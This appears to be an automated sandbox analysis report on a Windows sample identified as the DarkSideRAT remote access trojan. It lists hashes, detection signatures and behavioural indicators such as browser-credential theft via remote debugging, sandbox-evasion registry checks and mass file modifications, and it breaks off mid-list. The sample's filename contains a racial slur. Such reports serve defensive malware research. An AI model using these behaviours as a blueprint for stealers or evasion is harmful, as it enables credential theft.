Resubmissions
11/09/2026, 14:18
260911-rma6sathnh1025/05/2026, 01:49
260525-b85phsdw8t1015/05/2026, 11:31
260515-nm3n9acz4p10Analysis
- user interaction
yes - max time kernel
300s - max time network
303s - platform
windows11-21h2_x64 - resource
win11-20260513-es - resource tags
arch:x64arch:x86image:win11-20260513-eslocale:es-esos:windows11-21h2-x64systemwindows - submitted
25/05/2026, 01:49
Behavioral task
behavioral1
Sample
cwelnigga.exe
Resource
win10v2004-20260513-es
windows10-2004-x64
17 signatures
300 seconds
Behavioral task
behavioral2
Sample
cwelnigga.exe
Resource
win11-20260513-es
windows11-21h2-x64
22 signatures
300 seconds
General
- Target cwelnigga.exe
- Size 56KB
- Sample260525-b85phsdw8t
- SHA256 e32e2b488816bf70aba936221ea8e32f75dd2bdf7042e1516d53be347f2ae253
- MD5 26121170fb2361f6ecf2a9ea411f095a
- SHA1 f3a5e85af36b33a5129e64bcf957cf665ebdc33a
- SHA512 0fc11297879a63a0ce0881074e781eeb76bad81cd7969b544bda0ba8714961c37a23ada881d25cda05f7ea729e4992eea375a6daa37055b2faecfd36bbafd740
- SSDEEP 768:3UOXEihzbuqDg+lLifxYITmQznOWp54vg5d5YP98yxA1XbXqskW7rCVr8Z0kP:kcvu1ZdoWp0g5rBSm+pW7rCVoekP
- TLSH T135430935EA5AB06FD35DC874DE431D16CD127CCA87A4BB9B57910CD20EAAF209B2D381
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Detects DarkSideRAT 1 IoCs
resource yara_rule behavioral2/files/0x001a00000002b773-56.dat family_darksiderat - Uses browser remote debugging 2 TTPs 5 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
pid Process 5228 chrome.exe 3820 chrome.exe 912 chrome.exe 1276 chrome.exe 2572 chrome.exe - Loads dropped DLL 1 IoCs
pid Process 2572 chrome.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\N: dllhost.exe File opened (read-only) \??\T: dllhost.exe File opened (read-only) \??\A: dllhost.exe File opened (read-only) \??\J: dllhost.exe File opened (read-only) \??\M: dllhost.exe File opened (read-only) \??\P: dllhost.exe File opened (read-only) \??\V: dllhost.exe File opened (read-only) \??\W: dllhost.exe File opened (read-only) \??\Q: dllhost.exe File opened (read-only) \??\B: dllhost.exe File opened (read-only) \??\E: dllhost.exe File opened (read-only) \??\K: dllhost.exe File opened (read-only) \??\O: dllhost.exe File opened (read-only) \??\R: dllhost.exe File opened (read-only) \??\S: dllhost.exe File opened (read-only) \??\U: dllhost.exe File opened (read-only) \??\H: dllhost.exe File opened (read-only) \??\X: dllhost.exe File opened (read-only) \??\Y: dllhost.exe File opened (read-only) \??\Z: dllhost.exe File opened (read-only) \??\G: dllhost.exe File opened (read-only) \??\I: dllhost.exe File opened (read-only) \??\L: dllhost.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\choice.exe dllhost.exe File opened for modification C:\Windows\System32\ClipRenew.exe dllhost.exe File opened for modification C:\Windows\System32\cmd.exe dllhost.exe File opened for modification C:\Windows\System32\compact.exe dllhost.exe File opened for modification C:\Windows\System32\AppHostRegistrationVerifier.exe dllhost.exe File opened for modification C:\Windows\System32\ApplicationFrameHost.exe dllhost.exe File opened for modification C:\Windows\System32\CastSrv.exe dllhost.exe File opened for modification C:\Windows\System32\CloudExperienceHostBroker.exe dllhost.exe File opened for modification C:\Windows\System32\cofire.exe dllhost.exe File opened for modification C:\Windows\System32\DataExchangeHost.exe dllhost.exe File opened for modification C:\Windows\System32\DeviceCredentialDeployment.exe dllhost.exe File opened for modification C:\Windows\System32\DeviceEnroller.exe dllhost.exe File opened for modification C:\Windows\System32\BdeUISrv.exe dllhost.exe File opened for modification C:\Windows\System32\calc.exe dllhost.exe File opened for modification C:\Windows\System32\DiskSnapshot.exe dllhost.exe File opened for modification C:\Windows\System32\appidpolicyconverter.exe dllhost.exe File opened for modification C:\Windows\System32\dmcertinst.exe dllhost.exe File opened for modification C:\Windows\System32\agentactivationruntimestarter.exe dllhost.exe File opened for modification C:\Windows\System32\CertEnrollCtrl.exe dllhost.exe File opened for modification C:\Windows\System32\cmdl32.exe dllhost.exe File opened for modification C:\Windows\System32\dmcfghost.exe dllhost.exe File opened for modification C:\Windows\System32\3wd6s4fwfaai2.exe dllhost.exe File opened for modification C:\Windows\System32\ApproveChildRequest.exe dllhost.exe File opened for modification C:\Windows\System32\BackgroundTransferHost.exe dllhost.exe File opened for modification C:\Windows\System32\BitLockerDeviceEncryption.exe dllhost.exe File opened for modification C:\Windows\System32\clip.exe dllhost.exe File opened for modification C:\Windows\System32\cmmon32.exe dllhost.exe File opened for modification C:\Windows\System32\CredentialUIBroker.exe dllhost.exe File opened for modification C:\Windows\System32\curl.exe dllhost.exe File opened for modification C:\Windows\System32\bdeunlock.exe dllhost.exe File opened for modification C:\Windows\System32\cmdkey.exe dllhost.exe File opened for modification C:\Windows\System32\CompatTelRunner.exe dllhost.exe File opened for modification C:\Windows\System32\CredentialEnrollmentManager.exe dllhost.exe File opened for modification C:\Windows\System32\ctfmon.exe dllhost.exe File opened for modification C:\Windows\System32\DeviceEject.exe dllhost.exe File opened for modification C:\Windows\System32\DevicePairingWizard.exe dllhost.exe File opened for modification C:\Windows\System32\certreq.exe dllhost.exe File opened for modification C:\Windows\System32\charmap.exe dllhost.exe File opened for modification C:\Windows\System32\ClipDLS.exe dllhost.exe File opened for modification C:\Windows\System32\dccw.exe dllhost.exe File opened for modification C:\Windows\System32\Defrag.exe dllhost.exe File opened for modification C:\Windows\System32\AssignedAccessGuard.exe dllhost.exe File opened for modification C:\Windows\System32\AtBroker.exe dllhost.exe File opened for modification C:\Windows\System32\baaupdate.exe dllhost.exe File opened for modification C:\Windows\System32\CheckNetIsolation.exe dllhost.exe File opened for modification C:\Windows\System32\cliconfg.exe dllhost.exe File opened for modification C:\Windows\System32\conhost.exe dllhost.exe File opened for modification C:\Windows\System32\CustomInstallExec.exe dllhost.exe File opened for modification C:\Windows\System32\dispdiag.exe dllhost.exe File opened for modification C:\Windows\System32\AgentService.exe dllhost.exe File opened for modification C:\Windows\System32\ddodiag.exe dllhost.exe File opened for modification C:\Windows\System32\deploymentcsphelper.exe dllhost.exe File opened for modification C:\Windows\System32\diskraid.exe dllhost.exe File opened for modification C:\Windows\System32\ApplyTrustOffline.exe dllhost.exe File opened for modification C:\Windows\System32\bcdedit.exe dllhost.exe File opened for modification C:\Windows\System32\bdechangepin.exe dllhost.exe File opened for modification C:\Windows\System32\chglogon.exe dllhost.exe File opened for modification C:\Windows\System32\cttunesvr.exe dllhost.exe File opened for modification C:\Windows\System32\DeviceProperties.exe dllhost.exe File opened for modification C:\Windows\System32\BitLockerWizard.exe dllhost.exe File opened for modification C:\Windows\System32\ComputerDefaults.exe dllhost.exe File opened for modification C:\Windows\System32\coredpussvr.exe dllhost.exe File opened for modification C:\Windows\System32\cttune.exe dllhost.exe File opened for modification C:\Windows\System32\DmNotificationBroker.exe dllhost.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe dllhost.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jjs.exe dllhost.exe File opened for modification C:\Program Files\Windows Media Player\wmpnetwk.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.PowerAutomateDesktop_1.0.65.0_x64__8wekyb3d8bbwe\PAD.Console.Host.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_1.0.22.0_x64__8wekyb3d8bbwe\Maps.exe dllhost.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe dllhost.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\msedge_proxy.exe dllhost.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\elevated_tracing_service.exe dllhost.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\javaws.exe dllhost.exe File opened for modification C:\Program Files (x86)\Google\Update\DisabledGoogleUpdate.exe dllhost.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\BHO\ie_to_edge_stub.exe dllhost.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jinfo.exe dllhost.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jstack.exe dllhost.exe File opened for modification C:\Program Files\Java\jre-1.8\bin\jabswitch.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\msoasb.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_1.0.38.0_x64__8wekyb3d8bbwe\SoundRec.exe dllhost.exe File opened for modification C:\Program Files (x86)\Common Files\Oracle\Java\javapath\javaws.exe dllhost.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\cookie_exporter.exe dllhost.exe File opened for modification C:\Program Files\Java\jre-1.8\bin\servertool.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_2.2106.2807.0_x64__8wekyb3d8bbwe\Cortana.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxIdentityProvider_12.50.6001.0_x64__8wekyb3d8bbwe\XboxIdp.exe dllhost.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\pwahelper.exe dllhost.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\ktab.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\Integration\Integrator.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\pj11icon.exe dllhost.exe File opened for modification C:\Program Files\Mozilla Firefox\private_browsing.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_1.0.36.0_x64__8wekyb3d8bbwe\Time.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe\Calculator.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2020.503.58.0_x64__8wekyb3d8bbwe\WindowsCamera.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate32.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\SDXHelperBgt.exe dllhost.exe File opened for modification C:\Program Files\Windows Mail\wab.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe dllhost.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\ink\TabTip32.exe dllhost.exe File opened for modification C:\Program Files (x86)\Internet Explorer\iexplore.exe dllhost.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\msedge.exe dllhost.exe File opened for modification C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe dllhost.exe File opened for modification C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe dllhost.exe File opened for modification C:\Program Files\Internet Explorer\iediagcmd.exe dllhost.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\java-rmi.exe dllhost.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\keytool.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\msotd.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\lyncicon.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.40978.0_x64__8wekyb3d8bbwe\codecpacks.heif.exe dllhost.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\jar.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.NetFX40.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\ohub32.exe dllhost.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe dllhost.exe File opened for modification C:\Program Files (x86)\Google\GoogleUpdater\141.0.7340.0\disabledupdater.exe dllhost.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\1.3.195.65\MicrosoftEdgeUpdateComRegisterShell64.exe dllhost.exe File opened for modification C:\Program Files (x86)\Windows Mail\wabmig.exe dllhost.exe File opened for modification C:\Program Files (x86)\Windows Media Player\wmpconfig.exe dllhost.exe File opened for modification C:\Program Files\Google\Chrome\Application\chrome_proxy.exe dllhost.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\native2ascii.exe dllhost.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\bin\ssvagent.exe dllhost.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.BingNews_1.0.6.0_x64__8wekyb3d8bbwe\NewsStub.exe dllhost.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe dllhost.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\msedgewebview2.exe dllhost.exe File opened for modification C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\elevation_service.exe dllhost.exe File opened for modification C:\Program Files\Java\jdk-1.8\bin\extcheck.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\Client\AppVLP.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe dllhost.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-1000-0000000FF1CE}\misc.exe dllhost.exe - Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regbrowsers.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\ServiceModelReg.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\ServiceModelReg.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-s..or-native-serverbox_31bf3856ad364e35_10.0.22000.120_none_6b23f06ce93f4f52\f\RMActivate_ssp.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-s..rity-spp-validation_31bf3856ad364e35_10.0.22000.176_none_161fead9a85c45cd\f\GenValObj.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_windowssearchengine_31bf3856ad364e35_7.0.22000.348_none_5519d2fa88b436fc\f\SearchProtocolHost.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v2.0.50727\AppLaunch.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-os-kernel-la57_31bf3856ad364e35_10.0.22000.493_none_47936afef938817b\f\ntkrla57.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-t..sionagent-uachelper_31bf3856ad364e35_10.0.22000.120_none_b61f094deaec819e\f\RdpSaUacHelper.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ngen.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-n..quickstart.appxmain_31bf3856ad364e35_10.0.22000.120_none_8faca973dc064b74\f\NarratorQuickStart.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-systemreset_31bf3856ad364e35_10.0.22000.469_none_e653782f0144d814\f\SysResetErr.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-u..snotificationbroker_31bf3856ad364e35_10.0.22000.37_none_46638c67a45b1942\f\MusNotification.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\wow64_microsoft-windows-appidcore_31bf3856ad364e35_10.0.22000.318_none_349d8ac96fe3d679\f\appidtel.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-mediaplayer-core_31bf3856ad364e35_10.0.22000.282_none_069016efd47610d8\f\wmplayer.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-mspaint_31bf3856ad364e35_10.0.22000.41_none_705d08ab0a6355da\f\mspaint.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.22000.318_none_9b6af6ae8c0ac6cb\f\runexehelper.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_windows-securityhealth-sso_31bf3856ad364e35_10.0.22000.100_none_bac6834bfb16b20d\f\SecurityHealthSystray.exe dllhost.exe File opened for modification C:\Windows\assembly\GAC_MSIL\PresentationFontCache\3.0.0.0__31bf3856ad364e35\PresentationFontCache.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v2.0.50727\ilasm.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-ncsiuwpapp.appxmain_31bf3856ad364e35_10.0.22000.120_none_eb1a21d23daf2030\f\NcsiUwpApp.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-s..estartup-change-pin_31bf3856ad364e35_10.0.22000.194_none_ecba39f8d9cbe846\f\bdechangepin.exe dllhost.exe File opened for modification C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\rdrservicesupdater.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v3.5\WFServicesReg.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regsql.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-userexperience-desktop_31bf3856ad364e35_10.0.22000.493_none_81cdab704eaad423\n\MiniSearchHost.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_windows-senseclient-service_31bf3856ad364e35_10.0.22000.376_none_a359e3d81485694b\f\SenseCE.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\ComSvcConfig.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMSvcHost.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\WsatConfig.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v3.5\AddInProcess.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v3.5\DataSvcUtil.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-mediafoundation_31bf3856ad364e35_10.0.22000.120_none_97c4601a91ef2a4b\f\mfpmp.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-printing-spooler-core_31bf3856ad364e35_10.0.22000.376_none_d180c9ec46d962eb\f\spoolsv.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-security-tokenbroker_31bf3856ad364e35_10.0.22000.282_none_9ed8cb052ff869e6\f\TokenBrokerCookies.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-spectrum_31bf3856ad364e35_10.0.22000.65_none_5df9e0d1a9b3658b\f\Spectrum.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_product-containeros__windowssearchengine_31bf3856ad364e35_7.0.22000.348_none_20c655d14680f9cf\f\SearchProtocolHost.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\wow64_microsoft-windows-advancedtaskmanager_31bf3856ad364e35_10.0.22000.65_none_9b4fcb543bd21a13\f\Taskmgr.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\wow64_microsoft-windows-errorreportingfaults_31bf3856ad364e35_10.0.22000.348_none_75b35e16f6608fe4\f\WerFault.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\wow64_microsoft-windows-i..switch-toasthandler_31bf3856ad364e35_10.0.22000.37_none_b6eb9704869b2bfc\f\InputSwitchToastHandler.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe dllhost.exe File opened for modification C:\Windows\Installer\$PatchCache$\Managed\68AB67CA7DA73301B744CAF070E41400\15.7.20033\adelrcp.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v2.0.50727\MSBuild.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-runas_31bf3856ad364e35_10.0.22000.434_none_5b46b110e29f5b31\f\runas.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-security-lsatrustlet_31bf3856ad364e35_10.0.22000.434_none_dff7d1ca03eba43a\f\LsaIso.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-update-usoclient_31bf3856ad364e35_10.0.22000.469_none_aa2bb1f81a06280c\f\UsoClient.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-userinit_31bf3856ad364e35_10.0.22000.37_none_be275aadedb23f4a\f\userinit.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\wow64_microsoft-windows-certificaterequesttool_31bf3856ad364e35_10.0.22000.434_none_6dc3a5a2d0fafee9\f\certreq.exe dllhost.exe File opened for modification C:\Windows\assembly\GAC_MSIL\ComSvcConfig\3.0.0.0__b03f5f7f11d50a3a\ComSvcConfig.exe dllhost.exe File opened for modification C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-msinfo32-exe_31bf3856ad364e35_10.0.22000.71_none_8e1bee8f157fdd6d\f\msinfo32.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-refsutil_31bf3856ad364e35_10.0.22000.434_none_e6157b76b496d682\f\refsutil.exe dllhost.exe File opened for modification C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-s..biometrics-trustlet_31bf3856ad364e35_10.0.22000.469_none_40856ba085a100c4\f\BioIso.exe dllhost.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 1920 chrome.exe - Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dllhost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 dllhost.exe - Enumerates system info in registry 2 TTPs 6 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134241475634348389" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5892 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 2572 chrome.exe 2572 chrome.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 2572 chrome.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 dllhost.exe 5032 